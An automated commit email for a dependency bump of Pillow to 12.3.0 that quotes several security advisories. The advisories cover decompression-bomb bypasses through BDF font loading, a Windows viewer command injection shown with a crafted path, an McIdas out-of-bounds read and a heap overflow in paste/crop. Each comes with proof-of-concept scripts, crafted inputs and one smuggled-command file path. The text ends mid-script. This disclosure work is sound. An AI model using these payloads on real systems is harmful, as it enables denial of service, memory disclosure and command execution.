This is an automated email from the ASF dual-hosted git repository. github-merge-queue[bot] pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/texera.git
commit 1b9a8c6ee84f96e9c70712171f99b2a209d8709b Author: Mend Renovate <[email protected]> AuthorDate: Tue Jul 28 00:32:59 2026 +0100 fix(deps, pyamber): update dependency pillow to v12.3.0 [security] (#6909) > ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pillow](https://redirect.github.com/python-pillow/Pillow) ([changelog](https://redirect.github.com/python-pillow/Pillow/releases)) | `==12.2.0` → `==12.3.0` |  |  | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. --- ### Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading BIT-pillow-2026-55379 / [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / [GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc) / PYSEC-2026-2255 <details> <summary>More information</summary> #### Details ##### Summary `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection. `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit. **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):** ```python ##### width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ``` **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions. ##### Steps to reproduce **Minimal malicious BDF file (270 bytes):** ``` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ``` **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold ##### Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") ##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[*] BDF file size : {len(bdf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ``` **Amplified attack (multiple glyphs):** A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection. ##### Impact - **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - **Confidentiality**: None - **Integrity**: None - Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-45hq-cxwh-f6vc) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path BIT-pillow-2026-55798 / [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / [GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6) / PYSEC-2026-2257 <details> <summary>More information</summary> #### Details ##### 1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`. --- ##### 2. Vulnerable Code **File:** `src/PIL/ImageShow.py`, lines 133–150 ```python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, **options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, **options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, **options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ``` **Contrast with macOS — SAFE (line 164–168):** ```python class MacViewer(Viewer): def get_command(self, file: str, **options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ``` **Cross-platform summary:** | Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No | `shlex.quote` is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- ##### 3. Proof of Concept A full working PoC is at `poc_pillow_injection.py`. Key parts: **Part A — Injection string construction (static, no execution):** ```python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) ##### Output: ##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ##### ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ##### ├─ & echo PWNED → INJECTED COMMAND ##### └─ & echo "" && ping ... → continues ``` **Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):** ```python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") ##### Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') ##### Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) ##### Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES ##### → CONFIRMED: arbitrary command injection via get_command() ``` --- #### Severity - CVSS Score: 4.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) - [https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://redirect.github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a) - [https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://redirect.github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4) - [https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://redirect.github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` BIT-pillow-2026-54060 / [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / [GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2) / PYSEC-2026-2254 <details> <summary>More information</summary> #### Details ##### Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64–92):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ``` **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = **16,776,960** | | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75×** | | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** | ##### Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) ##### Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") ##### Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io ##### Load a crafted BDF font with 256 glyphs each claiming height=65535 ##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) ##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | ##### Impact - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5x94-69rx-g8h2) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) BIT-pillow-2026-54058 / [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / [GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93) / PYSEC-2026-3493 <details> <summary>More information</summary> #### Details ##### Summary When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**. The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`, `getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ##### Complete Code Trace **Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation. ```python ##### src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ``` **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`. ```python ##### src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ``` **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`. ```c /* src/map.c:65-140 */ if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); /* "L" */ if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize * 2; else stride = xsize * 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */ PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */ if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */ PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); /* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */ /* setup file pointers -- NO check that stride >= im->linesize */ if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */ } } else { ... } ``` `im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing reconciles the two. **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap. ```c /* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */ ``` ##### Chain Summary ``` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ``` ##### Proof of Concept See attached [poc.zip](https://redirect.github.com/user-attachments/files/28460498/poc.zip) ##### Impact on a Parent Application Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: - **Information disclosure (High):** the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS. ##### Suggested fix Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` . #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) - [https://github.com/python-pillow/Pillow/pull/9719](https://redirect.github.com/python-pillow/Pillow/pull/9719) - [https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://redirect.github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-62p4-gmf7-7g93) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow BIT-pillow-2026-59199 / [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / [GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4) / PYSEC-2026-3451 <details> <summary>More information</summary> #### Details ##### Summary Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as `RGBA`, this becomes a controlled backward heap underwrite: for a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes starting `4 * W` bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger: ```python from PIL import Image INT_MIN = -(1 << 31) src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1)) ``` The same root cause is also reachable through `Image.crop()` and `Image.alpha_composite()`. No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with `double free or corruption (out)` ##### Details `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native `ImagingCore.paste()` method: ```python self.im.paste(source, box) ``` `src/_imaging.c:_paste()` parses the four Python coordinates into signed `int` values and calls `ImagingPaste()`: ```c int x0, y0, x1, y1; PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1); ``` `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using signed `int` arithmetic: ```c xsize = dx1 - dx0; ysize = dy1 - dy0; if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; } ``` With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`. That matches the 2-pixel source image, so the size check passes. The later `dx0 + xsize` clip check wraps around and does not reject the out-of-bounds destination. For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by `pixelsize`: ```c dx *= pixelsize; xsize *= pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize); ``` For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation. The primitive scales with the attacker-controlled source width: ```text source width = W box = ((1 << 31) - W, 0, INT_MIN, 1) C destination offset = -4 * W C memcpy size = 4 * W write range = [row_start - 4W, row_start) ``` Examples for `RGBA`: ```text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row ``` Pillow's image creation guard currently limits `xsize` to roughly `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is `2,147,483,640` bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state. Two other documented APIs reach the same sink: ```python ##### Image.crop() path left = INT_MIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1)) ##### Image.alpha_composite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alpha_composite(over, dest=(left, 0)) ``` `Image.crop()` keeps `right - left` small, so the Python decompression-bomb check allows it. `src/libImaging/Crop.c` then computes wrapped paste coordinates and calls `ImagingPaste()`. ##### PoC The following standalone script exercises all three public API paths. Save it as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`. ```python #!/usr/bin/env python3 import argparse import sys from PIL import Image INT_MIN = -(1 << 31) def rgba_pattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 